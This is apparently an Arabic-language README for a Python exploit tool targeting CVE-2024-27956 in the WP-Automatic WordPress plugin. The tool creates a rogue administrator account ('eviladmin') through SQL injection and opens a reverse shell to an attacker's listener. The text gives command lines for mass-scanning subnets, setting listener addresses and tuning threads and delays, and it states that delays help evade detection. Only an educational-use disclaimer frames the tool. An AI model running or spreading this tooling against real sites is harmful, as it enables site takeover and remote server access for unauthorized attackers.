WordPress Auto Admin Account and Reverse Shell cve 2024 27956
1.0.0
يقوم هذا البرنامج النصي Python بأتمتة عملية إنشاء حساب مسؤول جديد في موقع WordPress وتنفيذ قذيفة عكسية على الخادم الهدف. إنه يستخدم ضعف حقن CSV المكون الإضافي WP-AUTOMIN لتنفيذ استعلامات SQL على قاعدة بيانات WordPress والحصول على الوصول الإداري.
مسح الشبكة الفرعية : إذا كنت ترغب في مسح شبكة فرعية لتثبيتات WordPress الضعيفة ، فيمكنك استخدام خيار --subnet . على سبيل المثال:
python wp-automatic-exploit.py --subnet 192.168.1.0/24 --lhost 127.0.0.1 --lport 1414 --threads 10 --delay 1.0
سيقوم هذا الأمر بمسح الشبكة الفرعية 192.168.1.0/24 لمواقع WordPress مع المكون الإضافي التلقائي WP الضعيف ، ومحاولة استغلالها باستخدام إعدادات المستمع المقدمة.
تخصيص التأخير : يمكن تعديل التأخير بين الطلبات باستخدام خيار --delay . قد يساعد التأخير الأعلى في تجنب الكشف أو الحد من المعدل ، في حين أن التأخير المنخفض يمكن أن يسرع عملية الاستغلال. على سبيل المثال:
python wp-automatic-exploit.py --targets targets.txt --lhost 127.0.0.1 --lport 1414 --threads 10 --delay 2.5
سيستخدم هذا الأمر تأخير 2.5 ثانية بين الطلبات.
باستخدام مستمع عن بُعد : إذا تم إعداد المستمع الخاص بك على جهاز بعيد ، فيمكنك تحديد عنوان IP ومنفذه باستخدام خيارات --lhost و --lport . على سبيل المثال:
python wp-automatic-exploit.py --targets targets.txt --lhost 192.168.1.100 --lport 8080 --threads 10 --delay 1.0
سيتصل هذا الأمر بمستمع في 192.168.1.100:8080 .
زيادة عدد مؤشرات الترابط : يمكنك زيادة عدد مؤشرات الترابط المستخدم بواسطة البرنامج النصي مع خيار --threads . يمكن أن يؤدي ذلك إلى تسريع عملية الاستغلال ، ولكنه قد يزيد أيضًا من احتمال اكتشاف أو يسبب مشاكل مع الحد من المعدل. على سبيل المثال:
python wp-automatic-exploit.py --targets targets.txt --lhost 127.0.0.1 --lport 1414 --threads 20 --delay 1.0
سيستخدم هذا الأمر 20 مؤشر ترابط للاستغلال.
requests (تثبيت عبر pip install requests )domain في البرنامج النصي بعنوان URL لموقع WordPress الهدف.eviladmin ، وتعيين كلمة المرور ، وتعيين الامتيازات الإدارية.ملاحظة: تأكد من أن لديك إذنًا وأذونات سليمة قبل تشغيل هذا البرنامج النصي ، حيث يمكن أن يؤدي إلى ثغرات الأمن وعواقب قانونية إذا أسيء استخدامها.
يتم توفير هذا البرنامج النصي لأغراض تعليمية واختبار فقط. لا يتحمل المؤلف أي مسؤولية عن أي استخدام غير مصرح به أو غير قانوني لهذا البرنامج النصي. استخدمه على مسؤوليتك الخاصة.
